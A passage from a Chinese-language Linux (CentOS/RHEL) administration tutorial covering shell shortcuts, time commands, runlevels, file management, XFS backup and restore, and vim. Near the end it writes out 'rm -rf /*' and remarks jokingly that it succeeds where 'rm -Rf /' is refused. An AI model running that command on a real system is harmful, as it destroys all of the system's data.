方法2: ctrl+r -》输入某条命令的关键字-》找出来对应的命令,按右光标键

方法3: !数字 //执行历史命令中第N条命令

方法4:!字符串 //搜索历史命令中最近一个以xxxx字符开头的命令,例如!vim

3.2.5 Linux下快捷键

都是用Ctrl+下面的单词, ^表示Ctrl

^C

终止前台运行的程序 , 如:ping g.cn 后,想停止按下Ctrl+C ^D

退出 等价exit ^L

清屏与clear功能一样

^R

搜索历史命令,可以利用好关键词 !$ 引用上一个命令的最后一个参数

[root@localhost network-scripts]# cat /etc/hosts
[root@localhost network-scripts]# vim !$   #相当于执行: vim /etc/hosts

补全命令使用tab键,Tab只能补全命令和文件

3.3 系统时间管理

在Linux中有硬件时钟与系统时钟等两种时钟。硬件时钟是指主机板上的时钟设备,也就是通常可在BIOS画面设定的时钟;系统时钟则是指kernel中 的时钟;所有Linux相关指令与函数都是读取系统时钟的设定

当Linux启动时,系统时钟会去读取硬件时钟的设定,之后系统时钟即独立运作

3.3.1 两种时间

查看硬件时间:

[root@localhost etc]# hwclock

查看系统时间:

[root@localhost mnt]# date
时区:
UTC  (Universal Time Coordinated):世界标准时间 
GMT (Greenwich Mean Time):格林尼治时间 
CST  (China standard Time):中国标准时间

3.3.2 如何修改时间

date命令相关参数:

date --help

-s, --set=STRING 把时间设为字符串所描述的时间

例: [root@localhost ~]# date -s "2018-11-2 22:30"

2018年 11月 02日 星期五 22:30:00 CST

%F 完整日期格式,等价于 %Y-%m-%d

[root@localhost ~]# date "+%F"
2018-11-02

%y 年份最后两位数位 (00-99)

%Y 年份

%m month (01..12)

%d 按月计的日期(例如:01)

%M minute (00..59)

%H 小时(00-23)

%S 秒(00-60)

[root@localhost ~]# date "+%Y%m%d"    
20181102
[root@localhost ~]# date "+%Y-%m-%d %H:%M:%S"    #在年月日之前可以添加自己想要的符号
2018-11-02 22:34:27
[root@localhost ~]# date "+%Y/%m/%d %H:%M:%S"
2018/11/02 22:34:38
[root@localhost ~]# date "+%Y%m%d %H:%M:%S"
20181102 22:35:03

-d, --date=STRING #显示由字符串描述的时间,而不是“当前时间”

[root@localhost ~]# date -d "+1 months" +%F
2018-12-02

3.3.3 使用time命令测试一个命令运行的时间

time 作用:一般用来测量一个命令的运行时间

使用方法:time 在后面直接跟上命令和参数

[root@localhost ~]# time ls -l /etc/
real	0m0.056s
user	0m0.016s
sys	    0m0.040s

说明:

real:实际使用时间

user:用户状态使用的时间

sys:内核状态使用的时间

3.4 帮助命令使用

遇到命令不知道添加哪个参数,可以使用命令帮助查看相关介绍,常用的查看帮助信息命令有如下几个

3.4.1 whatis

3.4.2 man 命令 :查看手册页或命令描述

[root@localhost ~]# man find

man命令查看帮助时,支持它支持上翻下翻,搜索(直接输入斜线),退出用q

[ ]:可选项

大写字母: 必选项

… :列表多个

a | b |c: 三选一

3.4.3 使用-h或--help查看命令选项

[root@localhost ~]# find -h   #不可以执行
[root@localhost ~]# find --help 

3.4.4 pinfo

3.4.5 access.redhat.com

3.5 开关机命令及7个启动级别

常用的几个关机,重启命令

shutdown

init

reboot

poweroff

3.5.1 关机命令之--shutdown

作用:关机,重启,定时关机

语法:shutdown  [选项]

参数:

-r   => 重新启动计算机

-h    => 关机

-h 时间 =>定时关机

例如:

[root@localhost ~]# shutdown -h +10      #10分钟之后关机
[root@localhost ~]# shutdown -h 23:30     #指定具体的时间点进行关机
[root@localhost ~]# shutdown -h now      #立即关机
[root@localhost ~]#shutdown -r  22:22    #22:22 以后重启

3.5.2 7个启动级别

作用:切换系统运行级别

语法:init 0-6

Linux 7个启动级别:

0 系统停机模式,系统默认运行级别不能设置为0,否则不能正常启动,机器关的

1 单用户模式,root权限,用于系统维护,禁止远程登陆,就像Windows下的安全模式登录

2 多用户模式,没有NFS和网络支持

3 完整的多用户文本模式,有NFS和网络,登陆后进入控制台命令行模式                                        multi-user.target

4 系统未使用,保留一般不用,在一些特殊情况下可以用它来做一些事情。例如在笔记本电脑的电池用尽时,可以切换到这个模式来做一些设置

5 图形化模式,登陆后进入图形GUI模式,X Window系                                                                    graphical.target

6 重启模式,默认运行级别不能设为6,否则不能正常启动。运行init 6机器就会重启

[root@localhost ~]# init 0   #关机
[root@localhost ~]# init 3   #进入3级别字符界面
[root@localhost ~]# init 5   #进入5级别图形界面

3.5.3 设置默认的运行界别

centos7不再使用/etc/inittab文件进行默认的启动级别配置,而使用比sysvinit的运行级更为自由的target替代。

第3运行级用multi-user.target替代。

第5运行级用graphical.target替代。

设置默认第三启动级别

[root@localhost ~]# systemctl set-default multi-user.target

设置默认第五启动级别

[root@localhost ~]# systemctl set-default graphical.target

[root@localhost ~]#runlevel

3 5 #表示从3级别切换到了5级别

查看当前默认的启动级别

[root@localhost ~]# systemctl get-default
graphical.target

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

第四章 文件的基本管理和XFS文件系统备份恢复

4.1 Linux系统目录结构和相对/绝对路径

4.1.1系统目录结构

在WIN系统中,查看文件先进入相应的盘符,然后进入文件目录

在WIN中,它是多根 c:\ d:\ e:\

Linux只有一个根目录

使用tree命令查看linux目录结构,这个命令默认是没有安装的,需要手工安装一下

[root@localhost ~]# mount /dev/sr0  /media/
mount: /dev/sr0 写保护,将以只读方式挂载
[root@localhost ~]# rpm -ivh /media/Packages/tree-1.6.0-10.el7.x86_64.rpm
查看/tmp目录结构
[root@localhost ~]# tree  /tmp/

根下的目录作用说明:

目 录

说 明

/

处于linux系统树形结构的最顶端,它是linux文件系统的入口,所有的目录、文件、设备都在 / 之下

/bin

bin是Binary的缩写。常用的二进制命令目录。比如 ls、cp、mkdir、cut等;和/usr/bin类似,一些用户级gnu工具

/boot

存放的系统启动相关的文件,例如:kernel.grub(引导装载程序)

/dev

dev是Device的缩写。设备文件目录,比如声卡、磁盘……在Linux中 一切都被看做文件。终端设备、磁盘等等都被看做文件 设备文件: /dev/sda,/dev/sda1,/dev/tty1,/dev/tty2,/dev/pts/1, /dev/zero, /dev/null, /dev/cdrom

/etc

常用系统及二进制安装包配置文件默认路径和服务器启动命令目录 passwd 用户信息文件 shadow 用户密码文件 group 存储用户组信息 fstab 系统开机启动自动挂载分区列表 hosts 设定用户自己的IP与主机名对应的信息

/home

普通用户的家目录默认存放目录

/lib

库文件存放目录,函数库目录

/lost+found 只在centos6中有

默认为空,被FSCK(file system check用来检查和维护不一致的文件系统。若系统掉电或磁盘发生问题,可利用fsck命令对文件系统进行检查)用来放置零散文件(没有名称的文件) 当系统非法关机后,这里就会存放一些文件。 在centos6版本下,每个分区的挂载点下会有些目录

/mnt /media

一般用来临时挂载存储设备的挂载目录,比如有cdrom、U盘等目录 在CENTOS7中会挂载到/run下面

/opt

表示的是可选择的意思,有些软件包也会被安装在这里

/proc

操作系统运行时,进程(正在运行中的程序)信息及内核信息(比如cpu、硬盘分区、内存信息等)存放在这里。/proc目录是伪装的文件系统proc的挂载目录,proc并不是真正的文件系统。因此,这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。也就是说,这个目录的内容不在硬盘上而是在内存里 查看咱们的CPU信息 cat /proc/cpuinfo

/sys

系统目录,存放硬件信息的相关文件

/run

运行目录,存放的是系统运行时的数据,比如进程的PID文件

/srv

服务目录,存放的是我们本地服务的相关文件

/sbin

大多数涉及系统管理的命令都存放在该目录中,它是超级权限用户root的可执行命令存放地,普通用户无权限执行这个目录下的命令,凡是目录sbin中包含的命令都是root权限才能执行的

/tmp

该目录用于存放临时文件,有时用户运行程序的时候,会产生一些临时文件。/tmp就是用来存放临时文件的。/var/tmp目录和该目录的作用是相似的,不能存放重要数据,它的权限比较特殊 [root@localhost ~]# ls –ld /tmp drwxrwxrwt 10 root root 12288 Oct 3 20:45 /tmp/ 粘滞位(sticky bit)目录的sticky位表示这个目录里的文件只能被owner和root删除

/var

系统运行和软件运行时产生的日志信息,该目录的内容是经常变动的,存放的是一些变化的文件。比如/var下有/var/log目录用来存放系统日志的目录,还有mail、/var/spool/cron

/usr

存放应用程序和文件,

/usr/bin 普通用户使用的应用程序

/usr/sbin 管理员使用的应用程序

/usr/lib 库文件Glibc(32位)

/usr/lib64 库文件Glibc

/lib /lib64 都在/usr/目录下

这个目录里存放着系统最基本的动态链接共享库,包含许多被/bin/和/sbin/中的程序使用的库文件,目录/usr/lib/中含有更多用于用户程序的库文件。作用类似于windows里的DLL文件,几乎所有的应用程序都需要用到这些共享库。 注:lib***.a是静态库

lib***.so是动态库 静态库在编译时被加载到二进制文件中

动态库在运行时加载到进程的内存空间中 简单的说:这些库是为了让你的程序能够正常编译运行的 其实类似于WIN中.dll文件,几乎所有的应用程序都需要用到这些共享库

4.1.2 绝对路径和相对路径

路径:在我们平时使用计算机时要找到需要的文件就必须知道文件的位置,而表示文件的位置的方式就是路径

绝对路径:在Linux中,绝对路径是从”/”开始的,比如/usr、/etc/passwd。如果一个路径是从根(/)开始的,它一定是绝对路径.

相对路径:相对路径是以 . 或 .. 开始的

 [root@localhost etc]# pwd  #判断用户当前所处的位置
绝对路径: 从/开始的路径  /home/yzh
相对路径: 相对于当前目录开始,a.txt  ./a.txt  ../miao/b.txt   当前目录在/etc
[root@localhost ~]# cd /etc/
[root@localhost etc]# ll passwd 
-rw-r--r-- 1 root root 2116 11月 16 14:57 passwd
[root@localhost etc]# ll /etc/passwd
-rw-r--r-- 1 root root 2116 11月 16 14:57 /etc/passwd

4.2 文件的管理

文件管理方式有多种:

改变目录: cd

创建/修改/移动/删除: touch mkdir mv vi rm cp

4.2.1 创建文件和文件夹

命令之:touch 

作用:常用来创建空文件,如果文件存在,则修改这个文件的时间

补充:文件的三种时间

[root@localhost ~]# ll /etc/passwd  #查看文件修改的时间
-rw-r--r-- 1 root root 2116 11月 16 14:57 /etc/passwd
[root@localhost ~]# stat /etc/passwd  #查看文件属性(其中包括文件时间属性)
  文件:"/etc/passwd"
  大小:2116      	块:8          IO 块:4096   普通文件
设备:803h/2051d	Inode:9401663     硬链接:1
权限:(0644/-rw-r--r--)  Uid:(    0/    root)   Gid:(    0/    root)
最近访问:2017-11-16 14:57:39.923177258 +0800
最近更改:2017-11-16 14:57:39.397177256 +0800
最近改动:2017-11-16 14:57:39.409177256 +0800
注:
访问时间:atime  查看内容   cat  a.txt
修改时间:mtime  修改内容  vim a.txt
改变时间:ctime  文件属性,比如权限  change time。  chmod +x a.sh
语法:touch 文件名
[root@localhost ~]# cd /opt/
[root@localhost opt]# touch a.txt
[root@localhost opt]# touch file1 file2
[root@localhost opt]# touch file{6..20}  #创建file6到file20的文件
[root@localhost opt]# ls
a.txt  file10  file12  file14  file16  file18  file2   file6  file8  rh
file1  file11  file13  file15  file17  file19  file20  file7  file9
[root@localhost opt]#  touch -d "20181019 21:30" admin.txt
[root@localhost opt]# ll admin.txt 
-rw-r--r-- 1 root root 0 10月 19 2018 admin.txt

4.2.2 使用vim和重定向创建一个新文件

用vim命令创建一个新文件

[root@localhost mnt]# vim test-1.txt

用重定向创建一新文件

[root@localhost mnt]#echo  aaa > test-1.txt

4.2.3 命令之:mkdir

作用:创建目录

语法:mkdir (选项) 文件名

例:

[root@localhost opt]# mkdir dir1
[root@localhost opt]# mkdir dir2 dir3 /home/dir4
[root@localhost opt]# ls /home/
dir4  yzh
[root@localhost opt]# mkdir /tmp/a/b/c
mkdir: 无法创建目录"/tmp/a/b/c": 没有那个文件或目录
[root@localhost opt]# mkdir -p /tmp/a/b/c  #在创建一个目录的时候,如果这个目录的上一级不存在的话,要加参数-p
[root@localhost opt]# ls /tmp/a/b/c

4.2.4 删除文件和目录

用到的命令:rm

作用:可以删除一个目录中的一个或多个文件或目录,对于链接文件,只是删除整个链接文件,而原文件保持不变的

语法:rm (选项) 处理对象

选项:

-f 强制删除,没有提示

-r 删除目录

例子:

[root@localhost opt]# rm -rf a.txt 
[root@localhost opt]# rm -rf a.txt dir
[root@localhost opt]# rm -rf file*
rm -rf  (慎用,一定要在删除以前确定一下所在目录,防止误删除重要数据)

4.2.5 复制文件

命令:cp 源文件/目录 目录文件/目录

选项:-R/r:递归处理,将指定目录下的所有文件与子目录一并处理

例子:

[root@localhost ~]# cp /etc/passwd /opt/   #复制文件
[root@localhost ~]# cp -r /boot/grub /opt/  #复制目录

4.2.6 移动文件

[root@localhost opt]# mv passwd dir1

[root@localhost opt]# mv admin.txt dir1/a.txt         #在移动文件的时候支持改名操作

4.3 查看文件

4.3.1 命令之:cat

语法:cat 文件名

作用:查看文件内容,一次显示整个文件的内容

[root@localhost ~]# cat /etc/passwd 

4.3.2 命令之:more

作用:以分页形式显示文件内容

语法:more + 文件名

说明: 按下回车刷新一行,按下空格刷新一屏,输入q键退出

4.3.3 命令之:less

作用:和more功能一样

语法:less +文件名

说明:linux中more与less的区别

more:不支持后退,但几乎不需要加参数,空格键是向下翻页,Enter键是向下翻一行,在不需要后退的情况下比较方便

less:支持前后翻滚,既可以向上翻页(pageup按键),也可以向下翻页(pagedown按键)。,空格键是向下翻页,Enter键是向下翻一行

4.3.4 命令之:head

作用: 用于显示文件的开头的内容。在默认情况下,head命令显示文件的头10行内容

语法:head(选项)文件名

参数: -n 显示从文件头开始的行数.

[root@localhost opt]# head /etc/passwd
[root@localhost opt]# head -n 3 /etc/passwd #显示前3行

4.3.5 命令之:tail

作用: 用于显示文件中的尾部内容。默认在屏幕上显示指定文件的末尾10行

语法:tail (选项)文件名

参数:

-n 显示文件尾部多少行的内容(n为数字)

-f 动态显示数据(不关闭),常用来查看日志

[root@localhost ~]# tail -n 3 /var/log/secure  #查看最后3行记录
[root@localhost ~]# tail -f /var/log/secure   #在一个终端执行此命令动态查看文件内容
[root@localhost ~]# ssh root@192.168.1.63   #在另一个终端远程登录Linux,登录成功后
[root@localhost ~]# tail -f /var/log/secure  #可以动态查看到登录成功的日志
Nov 17 00:08:32 localhost sshd[2924]: Accepted password for root from 192.168.1.63 port 39904 ssh2

4.4 实战:xfs文件系统的备份和恢复

XFS提供了 xfsdump 和 xfsrestore 工具协助备份XFS文件系统中的数据。xfsdump 按inode顺序备份一个XFS文件系统。

centos7选择xfs格式作为默认文件系统,而且不再使用以前的ext,仍然支持ext4,xfs专为大数据产生,每个单个文件系统最大可以支持8eb,单个文件可以支持16tb,不仅数据量大,而且扩展性高。还可以通过xfsdump,xfsrestore来备份和恢复。

与传统的UNIX文件系统不同,XFS不需要在备份前被卸载;对使用中的XFS文件系统做备份就可以保证镜像的一致性。XFS的备份和恢复的过程是可以被中断然后继续的,无须冻结文件系统。xfsdump 甚至提供了高性能的多线程备份操作——它把一次dump拆分成多个数据流,每个数据流可以被发往不同的目的地

首先了解一下xfsdump的备份级别有以下两种,默认为0(即完全备份)

0 级别代表:       完全备份

1  到9级别代表:      增量备份

扩展:

完全备份:每次都把指定的备份目录完整的复制一遍,不管目录下的文件有没有变化;

增量备份:每次将之前(第一次、第二次、直到前一次)做过备份之后有变化的文件进行备份;

差异备份:每次都将第一次完整备份以来有变化的文件进行备份。

4.4.1 环境准备

实验环境:

系统CENTOS7.2 添加一块虚拟硬盘(准备一个测试分区)

正常使用一块磁盘过程如下:

添加磁盘大小:20G 分区格式化挂载

对新添加的硬盘进行格式化:

[root@localhost ~]# fdisk /dev/sdb					#指定分区的设备
欢迎使用 fdisk (util-linux 2.23.2)。
更改将停留在内存中,直到您决定将更改写入磁盘。
使用写入命令前请三思。
Device does not contain a recognized partition table
使用磁盘标识符 0x06d5a427 创建新的 DOS 磁盘标签。
命令(输入 m 获取帮助):n  #创建一个新的分区
Partition type:
   p   primary (0 primary, 0 extended, 4 free)
   e   extended
Select (default p): p  #创建一个主分区
分区号 (1-4,默认 1):
起始 扇区 (2048-41943039,默认为 2048):
将使用默认值 2048
Last 扇区, +扇区 or +size{K,M,G} (2048-41943039,默认为 41943039):+1G  #指定分区大小
分区 1 已设置为 Linux 类型,大小设为 1 GiB
命令(输入 m 获取帮助):p  	#打印分区表
磁盘 /dev/sdb:21.5 GB, 21474836480 字节,41943040 个扇区
Units = 扇区 of 1 * 512 = 512 bytes
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节
磁盘标签类型:dos
磁盘标识符:0x06d5a427
   设备 Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048     2099199     1048576   83  Linux
命令(输入 m 获取帮助):w  	#保存
The partition table has been altered!
Calling ioctl() to re-read partition table.
正在同步磁盘。
[root@localhost ~]# ls  /dev/sdb*
/dev/sdb  /dev/sdb1

使用新的分区,格式化分区,并进行挂载
[root@localhost ~]# mkfs.xfs /dev/sdb1
[root@localhost ~]# mkdir /sdb1     #创建挂载点
[root@localhost ~]# mount /dev/sdb1 /sdb1   #挂载

准备备份测试文件

[root@localhost ~]# cd /sdb1/
[root@localhost sdb1]# cp /etc/passwd ./
[root@localhost sdb1]# mkdir test
[root@localhost sdb1]# touch test/a
[root@localhost sdb1]# tree /sdb1/
/sdb1/
├── passwd
└── test
    └── a

4.4.2 备份

1、备份整个分区。 (这个功能就像是虚拟机的快照,服务器被黑后,进行快速恢复)

xfsdump -f 备份存放位置 要备份路径或设备文件

注意:备份的路径这里不能写成/sdb1/。 可以是/dev/sdb1 或/sdb1

[root@localhost sdb1]# xfsdump -f /opt/dump_sdb1  /dev/sdb1
xfsdump: using file dump (drive_simple) strategy
xfsdump: version 3.1.4 (dump format 3.0) - type ^C for status and control
========== dump label dialog ==============================
please enter label for this dump session (timeout in 300 sec)
 -> dump_sdb1  指定备份会话标签
session label entered: "dump_sdb1"
 --------------------------------- end dialog ---------------------------------
xfsdump: level 0 dump of localhost.cn:/sdb1
xfsdump: dump date: Fri Nov 17 12:24:53 2017
xfsdump: session id: b5a25fcd-d43d-4308-bf29-142066f89d9a
xfsdump: session label: "dump_sdb1"
xfsdump: ino map phase 1: constructing initial dump list
xfsdump: ino map phase 2: skipping (no pruning necessary)
xfsdump: ino map phase 3: skipping (only one dump stream)
xfsdump: ino map construction complete
xfsdump: estimated dump size: 25856 bytes
============== media label dialog =============================
please enter label for media in drive 0 (timeout in 300 sec)
 -> sdb1  指定设备标签,就是对要备份的设备做一个描述
media label entered: "sdb1"
 --------------------------------- end dialog --------------------------------
xfsdump: creating dump session media file 0 (media 0, file 0)
xfsdump: dumping ino map
xfsdump: dumping directories
xfsdump: dumping non-directory files
xfsdump: ending media file
xfsdump: media file size 24544 bytes
xfsdump: dump size (non-dir files) : 2592 bytes
xfsdump: dump complete: 46 seconds elapsed
xfsdump: Dump Summary:
xfsdump:   stream 0 /opt/dump_sdb1 OK (success)
xfsdump: Dump Status: SUCCESS

2、 指定备份时免交互操作,方便后期做定时备份

[root@localhost sdb1]# xfsdump -f /opt/dump_passwd /sdb1 -L dump_passwd -M media1
-L  :xfsdump  纪录每次备份的 session 标头,这里可以填写针对此文件系统的简易说明
-M  :xfsdump 可以纪录储存媒体的标头,这里可以填写此媒体的简易说明

3、指定只备份分区中某个目录

参数:-s 文件路径 只对指定的文件进行备份,-s指定时,路径写的是相对路径(-s可以是文件或目录)

[root@localhost sdb1]# xfsdump -f /opt/dump_grub2 -s grub2/grub.cfg /boot -L dump_grub2 -M boot-sda1

4、查看备份信息与内容

备份成功后,我们就可以在/var/lib/xfsdump/inventory目录下看到生成的档案信息

[root@localhost opt]# xfsdump -I(字母大写i)

测试恢复:先删除之前创建的内容

[root@localhost sdb1]# ls
passwd  test
[root@localhost sdb1]# pwd
/sdb1
[root@localhost sdb1]# rm -rf ./*

4.4.3 文件系统恢复

语法:xfsrestore -f 指定恢复文件的位置 指定存放恢复后的文件的路径

[root@localhost opt]# xfsrestore -f /opt/dump_sdb1 /sdb1

查看恢复情况

[root@localhost ~]# ls /sdb1/

恢复单个文件如下:

[root@localhost ~]# mkdir /var/test/ 
[root@localhost ~]# xfsrestore -f /opt/dump_grub2 -s grub2/grub.cfg /var/test/
[root@localhost ~]# xfsrestore -f /opt/dump_grub2 -s grub2 /var/test/  #恢复目录

注:

使用 xfsdump 时,请注意下面下面的几个限制:

1、xfsdump 不支持没有挂载的文件系统备份!所以只能备份已挂载的!

2、xfsdump 必须使用 root 的权限才能操作 (涉及文件系统的关系)

3、xfsdump 只能备份 XFS 文件系统

4、xfsdump 备份下来的数据 (档案或储存媒体) 只能让 xfsrestore 解析

5、xfsdump 是透过文件系统的 UUID 来分辨各个备份档的,因此不能备份两个具有相同 UUID 的文件系统

4.4.4 增量备份

概念

增量备份是指在一次全备份或上一次增量备份后,以后每次的备份只需备份与前一次相比增加或者被修改的文件。这就意味着,第一次增量备份的对象是进行全备后所产生的增加和修改的文件;第二次增量备份的对象是进行第一次增量备份后所产生的增加和修改的文件,以此类推。

优缺点

优点:没有重复的备份数据,因此备份的数据量不大,备份所需的时间很短。

缺点:数据恢复相对比较麻烦,它需要上一次全备份和所有增量备份的内容才能够完全恢复成功,并且它们必须沿着从全备份到依次增量备份的时间顺序逐个反推恢复,因此可能会延长的恢复时间

实战: 增量备份文件系统

准备一个备份目录进行备份

[root@localhost sdb1]# tree  /sdb1
/sdb1/
├── passwd
└── test
    └── a

对上面的内容进行第一次全备

[root@localhost sdb1]# xfsdump -f /opt/test-full /sdb1 -L test-full -M media0

增加一些内容,然后进行第1次增量备份

[root@localhost ~]# touch  /sdb1/1.txt /sdb1/2.txt
[root@localhost ~]# tree  /sdb1/
/sdb1/
├── 1.txt
├── 2.txt
├── passwd
└── test
└── a 
[root@localhost sdb1]# xfsdump -l 1 -f /opt/test-back1 /sdb1 -L test-bak1 -M media0
    #-l <level>  做一个等级为1的备份

再次增加内容,然后进行level 2级别的增量备

[root@localhost sdb1]# touch  /sdb1/test/a.txt  /sdb1/test/b.txt
[root@localhost ~]# tree /sdb1/
/sdb1/
├── 1.txt
├── 2.txt
├── passwd
└── test
    ├── a
    ├── a.txt
└── b.txt 
[root@localhost sdb1]# xfsdump -l 2 -f /opt/test-back2 /sdb1 -L test-bak2 -M media0
[root@localhost ~]# rm -rf /sdb1/*    #删除所有数据

现在进行恢复,要想恢复全部全部数据,包括新添加的文件,如何恢复?

步骤:

1、先恢复完全备份

2、情况1: 恢复最后一次增量备份(如果两次增量备份都是1级的,所以只需要恢复最后一个增量就可以了。

3、情况2:如果你做的是第一次是1级备,第二次是2级备,那么你在恢复的时候就需要先恢复完全备份,然后是1级备,最后是2级备)

[root@localhost ~]# xfsrestore -f /opt/test-full /sdb1/
[root@localhost ~]# xfsrestore -f /opt/test-back2 /sdb1/  #故意先恢复back2,查看
[root@localhost ~]# tree /sdb1/  #查看,发现没有1.txt ,2.txt 
/sdb1/
├── passwd
└── test
    ├── a
    ├── a.txt
└── b.txt 
[root@localhost ~]# xfsrestore -f /opt/test-back1 /sdb1/   
[root@localhost ~]# tree /sdb1/ 

到此,数据恢复成功了。

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

第五章 Vim编辑器和恢复ext4下误删除的文件

5.1 vim主要模式介绍,vim命令模式

确保系统已经安装了VIM工具

[root@panda ~]# rpm -qf `which vim`
[root@panda ~]# rpm -qf `which vi`

扩展:

问:vi和vim是同一个软件包安装的吗?

答:NO,vim是vi的增加版,最明显的区别就是vim可以语法加亮,它完全兼容vi

5.1.1 vim编辑器模式

首次进入文件 ---- 命令模式

出现 “Insert” ---- 编辑模式

输入: ---- 命令行模式

A:从编辑模式到命令行模式怎样切换?

编辑模式->esc->命令模式->: ->命令行模式

B:字符操作(怎样进入编辑模式?)

进入编辑模式 a i o A I O

说明:

i 当前字符之前插入 (光标前)

I 行首插入 (行首)

a 当前字符之后插入 (光标后)

A 行尾插入(行尾)

o下一行插入 (另起一行)

O上一行插入(上一行插入)

x 向后删除一个字符 等同于delete

X 向前删除一个字符

u 撤销一步 每按一次就撤销一次

r 替换

5.1.2 在命令模式下做的操作

光标定位

hjkl 左下上右

0 和 home键表示切换到行首, $和end键表示切换到行尾

gg 快速定位到文档的首行 , G定位到未行

3gg 或者 3G 快速定位到第3行

/string(字符串) -----找到或定位你要找的单词或内容,如果相符内容比较多,我们可以通过N、n来进行向上向下查找,并且vi会对查找到的内容进行高亮显示,取消用 :noh

/^d ----^意思表示以什么开头 ,,查找以字母d开头的内容

/t$ -----$意思表示以什么结尾,,查找以字母t结尾的内容

vim + a.txt 打开文件后,光标会自动位于文件的最后一行

如何对文本进行编辑

删除、复制、粘贴、撤销

y 复制(以字符为单位) :表示对单个字符进行复制,如果要复制整行,用yy(以行为单位)

复制N行: Nyy ,比如: 2yy ,表示复制2行

dd(删除,以行为单位,删除当前光标所在行)

删除N行: Ndd ,比如: 2dd ,表示删除2行

p : P粘贴

剪切: dd

x 删除光标所在位置的字符

D 从光标处删除到行尾

u 撤销操作

ctrl+r 还原撤销过的操作,将做过的撤销操作再还原回去,也就是说撤销前是什么样,再还原成什么样

r 替换,或者说用来修改一个字符

总结:vim如何进入其它模式

a A o O i I 都是可以进行插入,编辑模式

: 进入命令行模式

v 进入可视模式

ctrl+v 进入可视块模式

V 进入可视行模式

R 擦除、改写,进入替换模式

你进入以上模式后,想要退出 ,按esc

扩展:插入模式中的操作

ctrl+p可以进行补全操作,所需要的内容必须是在当前打开的文件内存在的,它只针对当前文件

5.1.3 V模式(列)

进入v模式 移动光标选择区域、

编程的时候需要进行多行注释: 1)、ctrl+v 进入列编辑模式

2)、向下或向上移动光标,把需要注释、编辑的行的开头选中起来

4)、然后按大写的I

5)、再插入注释符或者你需要插入的符号,比如"#"

6)、再按Esc,就会全部注释或添加了

删除:再按ctrl+v 进入列编辑模式;向下或向上移动光标 ;选中注释部分,然后按d, 就会删除注释符号。

5.1.4 命令行模式操作

:w 保存 save

:w! 强制保存

:q 没有进行任何修改,退出 quit

:q! 修改了,不保存,强制退出

:wq 保存并退出

:wq! 强制保存并退出

:x 保存退出

例: wq! 强制保存并退出

[root@localhost ~]# ll /etc/shadow
----------. 1 root root 1179 9月  19 12:57 /etc/shadow
[root@localhost ~]# vim /etc/shadow

调用外部文件或命令

假设:我想要写入我的网卡MAC地址,,我要查看一下,当前在vim编辑文档,照着写。这样好麻烦。

在命令行模式下操作:

:!ifconfig 调用系统命令

!+命令

读取其他文件。(把其他文件中的内容追加到当前文档中)

:r /etc/hosts

文本替换

格式 : 范围(其中%所有内容) s分隔符 旧的内容 分隔符 新的内容 (分隔符可以自定义)

默认是每一行的第一个符合要求的词 (/g全部)

:1,3 s/bin/yzh 替换第1到3行中出现的第一个bin进行替换为yzh

:1,3 s/bin/yzh/g 替换第1到3行中查找到所有的bin进行替换为yzh

:3 s/yzh/aaaaa #只把第3行中内容替换了

:% s/do/yzh/g 将文本中所有的do替换成yzh

:% s/do/yzh/gi 将文本中所有的do替换成yzh, 并且忽略do的大小写

:% s@a@b@g 将文本中所有的a替换成b

5.1.5 自定义vim使用环境

临时设置

:set nu 设置行号

:set nonu 取消设置行号

:noh 取消高亮显示

永久设置环境

vim /etc/vimrc 设置后会影响到系统所有的用户

~/.vimrc #在用户的家目录下,创建一个.vimrc。这样只影响到某一个用户,没有自己建一个

例:

[root@localhost ~]# cat /root/.vimrc set nu

[root@localhost ~]# vim /root/.vimrc

vim打开多个文件

方法1:以上下形式,打开两个文档

[root@localhost ~]# vim -o /etc/passwd /etc/hosts

方法2:以左右方式打开两个文档

[root@localhost ~]# vim -O /etc/passwd /etc/hosts

注:ctrl+ww 在两文档之间进行切换编辑。大写O左右分屏,小写的o上下分屏

比较两个文件内容

[root@localhost ~]# cp /etc/passwd mima.txt
[root@localhost ~]# echo aaa >> mima.txt 
[root@localhost ~]# diff /etc/passwd mima.txt 
40a41
> aaa
[root@localhost ~]# vimdiff /etc/passwd mima.txt

5.1.6 其它编辑器

nano编辑器

emacs编辑器

GHOME编辑器gedit

例:

[root@localhost ~]# gedit /etc/passwd

5.1.7 实战1:在windows中编辑好的汉字文本文档,上传到Linux下打开乱码。

实验环境:centos7.4 现在系统默认使用的语言是汉语。(系统中必须安装好中文包)。

将同目录下“a此文件在windows下打开正常-到linux下vim打开是乱码.txt”上传到Linux服务器上。使用ssh远程连接到Linux上,使用vim打开显示乱码。

原因:编码的问题

通过iconv命令转码 没有使用过:1

参数:

-f, --from-code=名称 原始文本编码 -t, --to-code=输出编码 -o, --output=FILE 输出文件名

[root@localhost ~]# mkdir test #创建一个测试目录

[root@localhost ~]# cd test/

将测试的文件上传到Linux服务器上:

[root@localhost ~]# iconv -f gb2312 -t utf8 a此文件在windows下打开正常-到linux下vim打开是乱码.txt -o aa.txt

-l, --list 列举所有已知的字符集

5.1.8 实战2:解决将公司Linux服务器上脚本导到windows上打开串行的问题

原因:因为windows和linux处理回车方法不同。

上传” b在Linux编辑的文档到windows下没有换行.sh” 到Linux上,打开后正常显示

[root@localhost test]# sz b在Linux编辑的文档到windows下没有换行.sh #发送到本地

在window 上打开显示:

解决方法:

[root@localhost ~]# rpm -ivh /mnt/Packages/dos2unix-6.0.3-7.el7.x86_64.rpm
注: 在centos7上,unix2dos这个命令已经被集成到dos2unix-6.0.3-7.el7.x86_64.rpm包中。在centos6下需要安装unix2dos.xxx.rpm
[root@localhost test]# unix2dos b在Linux编辑的文档到windows下没有换行.sh
[root@localhost test]# sz b在Linux编辑的文档到windows下没有换行.sh   #发送到windows本地  显示正常

注:dos2unix 这个命令是把windows下的回车转成linux类型。

5.2 实战:在Centos6/RHEL6上恢复ext4文件系统下误删除的文件

[root@localhost ~]# rm -Rf /    #执行不成功的,
rm: 在"/" 进行递归操作十分危险
rm: 使用 --no-preserve-root 选项跳过安全模式
[root@localhost ~]# rm -rf /*    #这个可以执行成功。 呵呵。。。
ext4文件系统上删除文件,可以恢复: extundelete ,ext3恢复使用:ext3grep
windows恢复误删除的文件:  final data v2.0 汉化版  和  easyrecovery

扩展:

